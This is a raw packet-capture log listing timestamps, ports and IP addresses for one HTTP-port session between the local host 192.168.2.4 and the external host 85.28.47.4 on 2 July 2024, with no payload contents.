Jul 2, 2024 15:26:09.315984964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315985918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315998077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316015959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316025019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316025019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316034079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316047907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316051006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316066980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316068888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316080093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316095114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316104889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316109896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316126108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316127062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316139936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316153049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316158056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316169977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316188097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316200972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316203117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316219091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316220999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316241980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316257000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316332102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316343069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316361904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316380024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316381931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316394091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316395998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316414118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316416979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316426992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316426992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316452026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316459894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316510916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316523075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316539049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316549063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316555023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316570044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316577911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316606045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316634893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316646099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316665888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316674948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316678047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316694975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316695929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316705942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316721916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316726923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316729069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316740036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316741943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316756964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316764116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316771030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316803932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.316958904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.316998959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317011118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317023039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317055941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317104101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317116976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317133904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317143917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317152023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317161083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317184925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317226887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317240953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317257881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317267895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317279100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317290068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317296028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317312002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317339897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317341089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317382097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317415953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317429066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317446947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317456961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317457914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317476034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317481995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317497015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317502022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317512035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317514896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317534924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317543030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317545891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317563057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317570925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.317588091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.317841053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404386044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404416084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404427052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404433012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404438972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404450893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404494047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404506922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404524088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404536963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404551983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404562950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404599905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404608011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404620886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404642105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404658079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404664040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404675007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404690981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404697895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404704094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404716015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404725075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404731035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404743910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404747009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404764891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404779911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404947042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404958010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404977083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.404989958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.404989958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405008078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405009985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405021906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405035019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405040979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405050993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405060053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405071020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405083895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405097961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405109882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405136108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405155897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405165911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405194998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405210018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405354977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405364990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405383110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405391932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405400038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405409098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405417919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405428886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405432940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405441046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405450106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405466080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405466080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405483007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405488014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405498981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405503035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405517101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405522108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405535936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405539036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405550957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405555964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405570984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405571938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405590057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405591965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405603886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405606985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405622959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405626059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405647993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405651093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405661106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405661106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405682087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405684948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405698061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405702114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405714989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405718088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405730963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405734062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405747890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405750990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405766010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405766964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405777931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405781031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405795097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405801058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405813932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405817032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405833006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405838966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405848026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405852079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405872107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405874014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405886889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405890942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405908108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405910015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405919075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405925989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405939102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405944109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405960083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405961037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405973911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.405983925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.405992031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406006098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406007051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406024933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406025887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406049013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406053066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406061888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406066895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406081915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406085014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406094074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406094074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406112909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406120062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406125069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406143904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406145096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406157017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406183004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406183004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406194925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406218052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406219006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406229019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406233072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406246901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406253099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406269073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406271935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406280994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406285048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406301975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406301975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406317949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406327963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406332970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406338930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406358004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406372070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406372070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406392097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406413078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406418085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406424999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406443119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406450987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406460047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406467915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406482935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406491995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406497002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406502962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406522036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406532049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406533957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406573057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406593084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406605005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406621933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406632900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406636000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406656981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406681061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406697035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406708002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406727076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406734943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406738043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406758070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406761885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406774044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.406785011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406800032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.406814098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.493861914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.493882895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.493894100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494035006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494045973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494044065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494051933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494061947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494069099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494081974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494102001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494112015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494112015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494133949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494172096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494187117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494198084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494210005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494232893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494236946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494242907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494254112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494261980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494276047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494291067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494292021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494307995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494318962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494327068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494337082 CEST	80	49730	85.28.47.4	192.168.2.4
